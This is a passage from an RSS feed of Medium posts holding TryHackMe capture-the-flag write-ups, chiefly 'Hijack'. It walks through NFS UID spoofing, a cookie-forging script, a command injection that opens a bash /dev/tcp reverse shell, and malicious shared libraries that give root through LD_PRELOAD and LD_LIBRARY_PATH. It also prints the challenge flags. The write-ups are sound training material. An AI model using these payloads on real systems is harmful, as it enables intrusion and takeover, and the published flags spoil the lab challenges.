-p&quot;);<br>}<br>EOF</pre><p>Then I compiled it:</p><pre>gcc -fPIC -shared -o /tmp/x.so /tmp/x.c -nostartfiles</pre><p>Finally, I executed the permitted binary with the malicious library preloaded:</p><pre>sudo LD_PRELOAD=/tmp/x.so /usr/bin/sky_backup_utility</pre><p>The utility loaded /tmp/x.so with root privileges, causing the library&#39;s _init() function to execute.</p><p>This resulted in a root shell.</p><p>I verified it with:</p><pre>whoami</pre><p>and obtained:</p><pre>root</pre><h3>13. Root Flag</h3><p>Finally:</p><pre>cat /root/root.txt</pre><p>The root flag was:</p><pre>3a62d897c40a815ecbe267df2f533ac6</pre><h3>Flags</h3><h3>User Flag</h3><pre>63191e4ece37523c9fe6bb62a5e64d45</pre><h3>Root Flag</h3><pre>3a62d897c40a815ecbe267df2f533ac6</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4263693e4f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hijack — TryHackMe Write-Up]]></title>
            <link>https://medium.com/@alaakhalafallah25/hijack-tryhackme-write-up-2bffbb0f4fed?source=rss-0300617bdb28------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bffbb0f4fed</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[hijack]]></category>
            <dc:creator><![CDATA[Alaa khalafallah]]></dc:creator>
            <pubDate>Sat, 22 Aug 2026 16:04:28 GMT</pubDate>
            <atom:updated>2026-08-22T16:04:28.322Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*ftu6d6Y_JjDccSfTw6zX6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/265/1*pLKKRT2xYndjpFYvKcoSYw.png" /></figure><h3>Introduction</h3><p>In this challenge, we perform a complete penetration testing process starting with <strong>Reconnaissance</strong>, followed by enumerating and exploiting an <strong>NFS</strong> share to obtain sensitive information.</p><p>We then discover a weakness in the web application’s session management and exploit <strong>Session Hijacking</strong> to gain access to the administration panel.</p><p>After gaining access to the panel, we exploit a <strong>Command Injection</strong> vulnerability to obtain an initial shell as www-data.</p><p>Finally, we move laterally to the rick user and exploit an insecure LD_LIBRARY_PATH configuration to escalate our privileges to root.</p><h3>1. Initial Reconnaissance</h3><p>We first verify that the target machine is reachable:</p><pre>ping 10.112.161.2</pre><p>Once connectivity is confirmed, we perform a full port and service scan:</p><pre>nmap -sVC 10.112.161.2 -T4</pre><p>We used:</p><ul><li>-sV — Detect service versions.</li><li>-sC — Run Nmap&#39;s default scripts.</li><li>-T4 — Increase the scan speed.</li></ul><p>The scan revealed several services running on the target, including <strong>NFS</strong>.</p><figure><img alt="Nmap Scan" src="https://cdn-images-1.medium.com/proxy/1*7ExtI23Ar7aCW5_d1uMxAQ.png" /></figure><h3>2. NFS Enumeration</h3><p>We enumerate the NFS exports available on the target:</p><pre>showmount -e 10.112.161.2</pre><p>The following share was exposed:</p><pre>/mnt/share</pre><figure><img alt="NFS Enumeration" src="https://cdn-images-1.medium.com/proxy/1*vCI5MHOulh4B0kVavXL30Q.png" /></figure><h3>What is NFS?</h3><p><strong>NFS — Network File System</strong> is a protocol that allows Linux systems to share files and directories over a network.</p><p>From a penetration testing perspective, improperly configured NFS shares can expose sensitive files or allow unauthorized users to access or modify data.</p><p>We mount the exposed share locally:</p><pre>sudo mount -t nfs 10.112.161.2:/mnt/share hijack</pre><figure><img alt="Mounting NFS" src="https://cdn-images-1.medium.com/proxy/1*jsM0pwYw-9jiNytXVhahlw.png" /></figure><p>When attempting to access the mounted directory:</p><pre>cd hijack</pre><p>we receive:</p><pre>Permission denied</pre><h3>3. Bypassing the NFS UID Restriction</h3><p>The permission issue occurs because the files in the NFS share are associated with a specific <strong>UID</strong>.</p><p>We create a local user with the required UID:</p><pre>sudo useradd -u 1003 linux</pre><p>Then set a password for the new user:</p><pre>sudo passwd linux</pre><figure><img alt="Creating the User" src="https://cdn-images-1.medium.com/proxy/1*LfjYzeYQT7sFLiDf-6XtuQ.png" /></figure><p>We then switch to the newly created user:</p><pre>su linux</pre><p>and start Bash:</p><pre>bash</pre><p>We can now access the mounted directory:</p><pre>cd hijack</pre><figure><img alt="Accessing the NFS Share" src="https://cdn-images-1.medium.com/proxy/1*acr7WQ_Ep3QayI41NnQrNw.png" /></figure><h3>4. Information Disclosure</h3><p>Inside the NFS share, we discover files containing useful information.</p><figure><img alt="Information Disclosure" src="https://cdn-images-1.medium.com/proxy/1*4Du1Zj72fgTakUoZSUWHXw.png" /></figure><p>We use the discovered credentials to connect to the FTP service and download the available files.</p><figure><img alt="FTP" src="https://cdn-images-1.medium.com/proxy/1*5fJCQBYumRlRS0wn_m4JIQ.png" /></figure><p>Among the downloaded files were credentials and a password list that would become useful during the web application enumeration phase.</p><h3>5. Web Application Enumeration</h3><p>We move to the HTTP service running on the target.</p><p>We create a normal account on the website and inspect the application’s cookies using:</p><p><strong>Developer Tools → Network → Cookies</strong></p><p>We notice a cookie named:</p><pre>PHPSESSID</pre><figure><img alt="Cookie" src="https://cdn-images-1.medium.com/proxy/1*-9Lkdf2HTduzdqcREwd6Rg.png" /></figure><p>We inspect its value and decode it using Base64:</p><figure><img alt="Base64" src="https://cdn-images-1.medium.com/proxy/1*wUbjdtvEjQ-vpqMuhBMQxw.png" /></figure><p>The decoded value follows a structure similar to:</p><pre>username:md5(password)</pre><figure><img alt="Decoded Session" src="https://cdn-images-1.medium.com/proxy/1*K-GuWddspiv8ZIsYvFbhFw.png" /></figure><p>This is interesting because the session identifier is predictable.</p><h3>6. Session Hijacking</h3><figure><img alt="Session Hijacking" src="https://cdn-images-1.medium.com/proxy/1*Papp5ULSgF205mig5HkXjQ.png" /></figure><p>A direct brute-force attack is not ideal because the application implements <strong>rate limiting</strong>.</p><p>After several failed login attempts, we receive:</p><pre>You have exceeded 5 login attempts.<br>This account has been locked for 300 seconds.</pre><p>Instead of repeatedly attempting to log in, we take advantage of the predictable session generation mechanism.</p><p>The password list obtained earlier can be used to generate possible administrator session IDs.</p><pre>import requests<br>import hashlib<br>import base64</pre><pre>TARGET = &quot;http://ip/administration.php&quot;<br>WORDLIST = &quot;.passwords_list.txt&quot;</pre><pre>s = requests.Session()</pre><pre>with open(WORDLIST, encoding=&quot;utf-8&quot;) as f:<br>    for password in map(str.strip, f):<br>        if not password:<br>            continue</pre><pre>        # MD5(password)<br>        digest = hashlib.md5(password.encode()).hexdigest()</pre><pre>        # admin:MD5(password)<br>        raw = f&quot;admin:{digest}&quot;.encode()</pre><pre>        # Base64(admin:MD5(password))<br>        cookie = base64.b64encode(raw).decode()</pre><pre>        response = s.get(<br>            TARGET,<br>            headers={&quot;Cookie&quot;: f&quot;PHPSESSID={cookie}&quot;}<br>        )</pre><pre>        print(f&quot;[*] Trying: {password}&quot;)</pre><pre>        if len(response.content) &gt; 51:<br>            print(&quot;\n[+] Found!&quot;)<br>            print(f&quot;[+] Password: {password}&quot;)<br>            print(f&quot;[+] PHPSESSID: {cookie}&quot;)<br>            break<br>    else:<br>        print(&quot;[-] Password not found.&quot;)</pre><figure><img alt="Python Script" src="https://cdn-images-1.medium.com/proxy/1*9lFTtJNfIJpmMokeEBnI0g.png" /></figure><p>The script generates the expected session format for each password and checks whether the resulting session provides access to the administration page.</p><h3>7. Accessing the Administration Panel</h3><p>Once we identify the valid session ID, we can use it in the HTTP request:</p><pre>Cookie: PHPSESSID=&lt;session&gt;</pre><p>Alternatively, the request can be intercepted using <strong>Burp Suite</strong>, where we replace our existing session cookie with the administrator’s session ID.</p><figure><img alt="Administration Panel" src="https://cdn-images-1.medium.com/proxy/1*vgUvkAitfLTHdFfm0X3CdQ.png" /></figure><p>We successfully gain access to the <strong>Administration Panel</strong>.</p><h3>8. Command Injection</h3><p>The administration panel contains a <strong>Command Injection</strong> vulnerability.</p><h3>What is Command Injection?</h3><p><strong>Command Injection</strong> is a vulnerability that occurs when an application passes user-controlled input to the operating system without properly validating or sanitizing it.</p><p>This can allow an attacker to append additional operating system commands that are executed with the privileges of the application.</p><p>In this challenge, the vulnerable functionality allows us to execute an additional command using the &amp;&amp; operator.</p><figure><img alt="Command Injection" src="https://cdn-images-1.medium.com/proxy/1*TbEjVFves3zxEY_BiNwfyA.png" /></figure><p>We prepare a listener on our attacking machine:</p><pre>nc -lvnp 9001</pre><p>Then use the vulnerable functionality to execute a reverse shell:</p><pre>apache2 &amp;&amp; bash -c &#39;bash -i &gt;&amp; /dev/tcp/IP/9001 0&gt;&amp;1&#39;</pre><p>This gives us an initial shell as:</p><pre>www-data</pre><h3>9. Stabilizing the Shell</h3><p>After obtaining the reverse shell, we improve the shell environment using Python:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Then configure the terminal:</p><pre>export TERM=xterm</pre><p>Finally, we verify the terminal:</p><pre>tty</pre><p>The result:</p><pre>/dev/pts/2</pre><p>This gives us a more functional interactive shell.</p><h3>10. Lateral Movement to rick</h3><figure><img alt="Lateral Movement" src="https://cdn-images-1.medium.com/proxy/1*dMOg82kzrbL6e1CbCc4CmA.png" /></figure><p>While enumerating the web application’s files, we discover sensitive database credentials in:</p><pre>/var/www/html/config.php</pre><p>The configuration file contains credentials for the rick user.</p><figure><img alt="Configuration File" src="https://cdn-images-1.medium.com/proxy/1*pqIWToFqHwDrgh-F0v-tkw.png" /></figure><p>We use the discovered password to switch to the rick account.</p><p>After switching users, we can access the <strong>user flag</strong>.</p><pre>THM{fdc8cd4cff2c19e0d1022e78481ddf36}</pre><h3>11. Privilege Escalation Enumeration</h3><p>Now that we have access as rick, we enumerate the user&#39;s sudo permissions:</p><pre>sudo -l</pre><figure><img alt="Sudo Enumeration" src="https://cdn-images-1.medium.com/proxy/1*l-4W6OZhk6AIupMeNcjJcQ.png" /></figure><p>The important part of the output is that rick can execute Apache as root:</p><pre>(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2</pre><p>More importantly, the sudo configuration preserves:</p><pre>LD_LIBRARY_PATH</pre><p>This provides a potential privilege escalation vector.</p><h3>12. LD_LIBRARY_PATH</h3><p>LD_LIBRARY_PATH is an environment variable used by the dynamic linker to specify directories where shared libraries should be searched for.</p><p>We inspect the libraries used by Apache:</p><pre>ldd /usr/sbin/apache2</pre><p>The output includes:</p><pre>libcrypt.so.1 =&gt; /lib/x86_64-linux-gnu/libcrypt.so.1</pre><p>Since LD_LIBRARY_PATH is preserved by sudo, we can potentially make Apache load a malicious shared library from a directory we control.</p><h3>13. Creating the Malicious Shared Library</h3><p>Instead of modifying the existing system library, we create a shared library with the same name:</p><pre>libcrypt.so.1</pre><p>We create the source file:</p><pre>cat &gt; /tmp/hijack.c &lt;&lt;&#39;EOF&#39;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;</pre><pre>static void hijack() __attribute__((constructor));</pre><pre>void hijack(void)<br>{<br>    unsetenv(&quot;LD_LIBRARY_PATH&quot;);<br>    setreuid(0, 0);<br>    system(&quot;/bin/bash -p&quot;);<br>}<br>EOF</pre><p>We then compile it as a shared library:</p><pre>gcc -shared -fPIC -o /tmp/libcrypt.so.1 /tmp/hijack.c</pre><p>The important idea here is that the malicious library contains a <strong>constructor function</strong>, which is executed automatically when the library is loaded.</p><h3>14. Privilege Escalation to Root</h3><p>We execute Apache through sudo while setting LD_LIBRARY_PATH to our controlled directory:</p><pre>sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2</pre><p>Because Apache is executed with root privileges and loads the library from /tmp, our constructor executes with elevated privileges.</p><figure><img alt="Root Access" src="https://cdn-images-1.medium.com/proxy/1*1Z3uI22F82bEufxnsRo0hg.png" /></figure><p>We successfully obtain a <strong>root shell</strong>.</p><h3>15. Flags</h3><h3>User Flag</h3><pre>THM{fdc8cd4cff2c19e0d1022e78481ddf36}</pre><h3>Root Flag</h3><pre>THM{b91ea3e8285157eaf173d88d0a73ed5a}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bffbb0f4fed" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>